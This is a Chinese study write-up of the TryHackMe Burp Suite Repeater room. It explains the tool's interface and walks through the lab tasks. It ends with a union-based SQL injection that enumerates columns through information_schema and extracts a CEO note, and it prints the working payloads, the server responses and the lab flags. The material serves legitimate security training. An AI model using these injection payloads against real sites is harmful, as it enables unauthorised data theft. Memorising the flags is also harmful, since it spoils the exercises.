【THM】Burp Suite:Repeater(Burp Suite-重放器)-学习
注意:本文章内容已经与较新版本的Burp Suite不适配,请谨慎参考。
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/burpsuiterepeater
本文相关内容:了解如何使用Repeater在Burp Suite中重放请求。
什么是Repeater?
在我们开始使用 Repeater 之前,了解它的作用对我们会很有帮助。
简而言之,Burp Suite的Repeater模块允许我们修改并转发Burp代理所拦截的请求到目标服务器;这意味着我们可以通过Repeater获取在 Burp Proxy 中捕获的请求,然后对其内容进行编辑,并可以根据渗透测试需要 多次重复发送相同的请求到目标。当然,我们也可以选择手动创建请求消息,就像我们在CLI(命令行界面)中所做的那样,使用诸如cURL之类的工具可以手动构建和发送请求消息到目标站点。
这种能够多次编辑和重发相同请求消息的功能,使Repeater非常适合任何类型的端点手工测试操作,Repeater为我们提供了一个图形用户界面(GUI),这个GUI包含了可供我们编写请求消息和响应消息的多个视图区域,以便我们可以清楚地看到我们手工操作的结果。
Repeater的GUI界面可以分为六个主要部分:
-
在Repeater窗口的左上方,会显示所有Repeater请求列表,每当我们发送一个新的请求消息到Repeater中时,此处的请求列表就会增加。
-
在请求列表的正下方,有一些可以控制当前请求消息的控件,这些控件允许我们发送请求、取消挂起的请求以及在请求记录中向前/向后移动。
-
在Repeater窗口的左侧大部分区域,可以看到请求视图和响应视图,我们可以在request视图中编辑请求消息,然后点击Send发送请求到目标站点,随后与请求消息所对应的响应消息 就会显示在response视图中。
-
在request&response视图的上方右侧位置,有一组设置选项,能够允许我们更改请求和响应的视图布局;默认情况下,请求视图和响应视图通常是并排显示(水平布局,如下图所示),但是,我们也可以选择将这两个视图上下排列显示(垂直布局),或者将请求视图和响应视图放置在单独的选项卡中(组合视图)。
-
在Repeater窗口的右侧,有一个Inspector界面,Inspector允许我们将请求消息(以及响应消息)分解,从而以一种更直观的方式来分析和编辑请求消息的内容。
-
最后,在Inspector的上方,我们可以找到Target部分,Target就是我们所要发送的请求的目标IP地址或目标域,当我们从Burp Suite的其他部分发送请求消息到Repeater时,Target中的内容将自动填写。
Repeater的基础用法
我们现在知道了Repeater界面是什么样子,但是我们如何使用它呢?
虽然我们可以手工创建请求消息,但是更常见的方法是先通过Burp代理捕获一个请求,然后将这个请求消息发送给Repeater进行编辑/重发。
在Burp Proxy(代理)中捕获到请求后,我们可以通过右键单击请求并选择“Send to Repeater”或者按Ctrl + R
快捷键将请求消息发送到Repeater中:
现在,当我们切换到Repeater界面时,就可以在Repeater界面的请求视图中 看到可用的请求消息:
如上图所示,我们可以看到Target区域和Inspector界面也显示了相关信息,但是我们还没有看到响应消息,所以我们可以选择点击"Send"按钮,然后响应视图部分就会被响应消息的内容快速填充:
如果我们想要修改请求消息的内容,我们可以直接在请求视图中进行信息修改,然后再次点击"Send"按钮,这将更新响应视图中的内容。例如,我们可以将上图请求中的"Connection"报头的值修改为"open
"而不是"close
",然后发送该请求,这样会导致响应消息中的"Connection"报头的值变为"keep-alive
":
tips:我们还可以使用"Send"按钮最右侧的两个翻页按钮——向前或者向后浏览我们修改请求的历史记录。
Repeater中的消息显示格式
Repeater为我们提供了各种方式来呈现与我们所发送的请求相对应的响应消息。
tips:Repeater同样提供了各种方式来呈现请求消息,但是这些方式都能在响应消息视图中找到,所以本小节只介绍响应消息的显示格式。
我们可以通过查看响应视图顶部的视图选项来切换可用的消息显示格式:
我们有以下四个视图选项,它们可以决定响应消息的显示格式:
- Pretty:这是默认选项,它会显示原始的响应消息,并将尝试略微美化其内容格式,从而使响应消息更容易被阅读;
- Raw:这将显示来自于目标服务器的纯粹的、未美化的响应消息;
- Hex:该选项将以字节格式呈现原始的响应消息,如果响应消息是一个二进制文件,这个选项会特别有用;
- Render:如果选择该选项,则会将响应消息渲染成一个可视化页面,这就像我们在浏览器中查看响应页面一样。
tips:在大多数情况下,我们会使用Pretty格式的视图来显示响应消息。
在前述的"Render"选项右边还有一个按钮\n
,这个\n
按钮的含义是"显示不可打印字符",它允许我们显示通常不会在Pretty格式(或者Raw格式)的视图中显示的字符;例如,如果我们在Pretty格式的响应视图中点击\n
按钮,则响应消息的每一行结尾会显示\r\n
字符——即一个回车符后面跟着一个换行符,这是HTTP报头解释的一部分。
答题
通过阅读本小节的内容,能够帮助我们回答以下问题:
Repeater中的Inspector界面
在许多时候,Inspector 完全是对 Repeater 窗口中的请求消息字段和响应消息字段的补充,如果你足够了解如何读取和编辑HTTP请求,那么你可能会发现你很少需要用到 Inspector界面。
Inspector可以在Proxy模块和Repeater模块中使用,在这两种情况下,它都会出现在对应模块的窗口最右侧,并能为我们提供关于请求和响应的消息分解列表:
一个请求消息的字段几乎总是可以更改的,通过Inspector界面,我们可以添加、编辑和删除一个请求消息分解之后的子项目字段;例如,在Request Attributes部分,我们可以编辑请求消息的Path、Method和Protocol——从而,我们可以更改我们要检索的资源,或者将请求从GET方法更改为另一种HTTP方法,或者将协议从HTTP/1切换到HTTP/2:
在Inspector界面中,除了上面介绍的Request Attributes部分之外,可供查看和编辑的其他部分还可能包括:
- Query Parameters:即"查询参数",此处会引用URL中发送到目标服务器的数据;例如,在 https://admin.tryhackme.com/?redirect=false GET请求中,有一个名为"redirect"的"查询参数",其值为"false"。
- Body Parameters:即"主体参数",它的功能与"查询参数"相同,但它主要用于POST请求,我们在POST请求中作为数据发送的内容将显示在"主体参数"中,我们可以在重新发送请求之前修改此参数。
- Request Cookies:即"请求cookies",此处的请求cookies部分会包含一个伴随每个请求而被发送的可修改的cookie列表。
- Request Headers:即"请求报头",允许我们查看、访问和修改(包括直接添加或删除)与我们的请求一起发送的任何报头;在尝试查看web服务器会如何响应意外的报头信息时,编辑"请求报头"内容非常有用。
- Response Headers:即"响应报头",此部分显示了服务器在响应我们的请求时发回的报头信息,这部分内容不能被编辑(因为我们不能控制服务器返回给我们什么报头);请注意,"响应报头"部分仅在 我们向服务器发送请求并收到响应后才会显示。
tips:我们可以通过Inspector界面,对请求和响应消息的分解子项目进行字段修改、添加、删除等操作。
简单示例练习
Repeater允许我们多次发送相同的请求到目标服务器,通过使用Repeater:可以手动测试SQL注入漏洞;尝试绕过 Web 应用程序防火墙过滤器;在提交表单时添加或更改相关的参数......
现在,让我们从一个简单的示例开始练习:使用Repeater更改请求消息的报头并发送给目标。
答题
首先在和本文相关的TryHackMe实验房间中启动目标机器。
在本地Kali机上启动BurpSuite,激活Burp代理并启用拦截功能,然后在浏览器中访问目标站点——在成功抓取到请求包之后,我们将其发送给Repeater:
使用Inspector(或者手动),在请求消息中添加一个名为FlagAuthorised的报头,并将其值设置为True:
#Headers with FlagAuthorised Added
GET / HTTP/1.1
Host: 10.10.7.11
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True
点击上图中的Send按钮,然后查看响应消息中的flag信息:
flag内容为:THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi} 。
挑战任务练习
停用Burp代理,访问目标网站页面http://10.10.107.186/products/
,并尝试点击"See More"链接:
从上图可以看到,我们会被重定向到一个数字端点(如/products/3
),这个端点通常需要验证,以确保我们所尝试导航到的端点是存在的,并且端点所对应的数字需要是一个有效整数;但是,如果目标服务器并没有对数字端点进行充分验证,那目标网站就可能存在安全风险。
答题
tips:本小节的思路是输入意外的端点值以查看服务器将如何响应,例如,我们可以输入一段文字或符号作为端点值,也可以尝试输入一个大于可用产品数量的数字作为端点值,或者输入一个小于或等于 0 的数字作为端点值。
使用Burp代理并开启拦截功能,尝试捕获一个针对目标站点products
页面的包含端点的请求,然后将其转发给Repeater进行修改,我们将请求消息中的端点数值修改为-1,然后点击Send按钮发送请求:
flag的内容为:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl} 。
综合练习-测试SQLi漏洞
本小节任务:
目标网站的/about/ID
端点页面中的ID参数存在联合SQL注入漏洞,我们需要使用Burp Suite找到此SQL漏洞,然后执行SQLi攻击 以检索一个存储在数据库中的关于CEO的注释。
答题
使用Burp代理并开启拦截功能,在浏览器中访问 http://10.10.107.186/about/2 ,在成功捕获请求后,我们将请求发送到Repeater模块:
我们现在可以对请求消息进行修改测试,为了验证目标页面是否存在SQLi漏洞,我们在端点参数后添加'
符号,如果目标服务器响应"500 Internal Server Error",则表明我们成功中断了SQL查询:
#Request Headers from the Server
GET /about/2' HTTP/1.1
Host: 10.10.107.186
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
#Response Headers from the Server
HTTP/1.1 500 INTERNAL SERVER ERROR
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101
我们可以查看并分析目标服务器所响应的消息内容,在第 40 行左右,我们可以看到目标服务器返回了过多的提示信息(关于错误的SQL查询):
#Overly verbose error message showing the query
<h2>
<code>Invalid statement:
<code>SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'</code>
</code>
</h2>
通过上图中的提示信息,我们可以获取到以下关键点:
- 该页面相关的SQL查询将选择数据库中的
people
表; - 该查询在
people
表中选择了五个列:firstName
、lastName
、pfpLink
、role
以及bio
;
有了以上这些信息,我们就可以跳过枚举表名和查询部分列名的步骤,但是我们仍然需要找到我们的目标列的名称(以上五列并非是people表的全部列)。
我们可以使用联合查询——选择在默认数据库information_schema
的columns
表中查询列名,并指定我们要查询的列属于people
表。
相关查询语句如下:
/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"
上面的SQL语句将创建一个联合查询,这将选择我们所指定的列然后是四个空列(因为UNION
关键字前后查询的列数必须相同,添加空列可避免查询出错)。
tips:在上面的查询中,我们还将ID值由 2 更改为 0(将ID设置为无效值),这可以确保目标服务器只对UNION
关键字后面的查询进行响应。
#The "id" column name in the title of the response
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360
<!DOCTYPE html>
<html lang=en>
<head>
<title>
About | id None
</title>
-----
我们成功地从数据库中取出了第一个列名,但是现在页面只显示第一个匹配项——我们需要看到所有匹配项;因此接下来我们可以使用group_concat()
函数,这能够将所有列名合并为一个输出:
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"
我们成功地识别了people
表中的八列:id
, firstName
, lastName
, pfpLink
, role
, shortRole
, bio
和notes
。
考虑到我们在本小节中的任务,我们要找的目标列应该是notes
。
最后,我们要从数据库中取出flag值——我们已经有了所需要的全部信息:
- 表名:
people
; - 目标列的名称:
notes
; - CEO对应的ID值应该为:
1
(这可以通过在/about/
页中点击Jameson Wolfe的个人资料,并检查URL中的ID找到)。
让我们创建一个payload来提取flag内容:
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1
flag的内容为:THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh} 。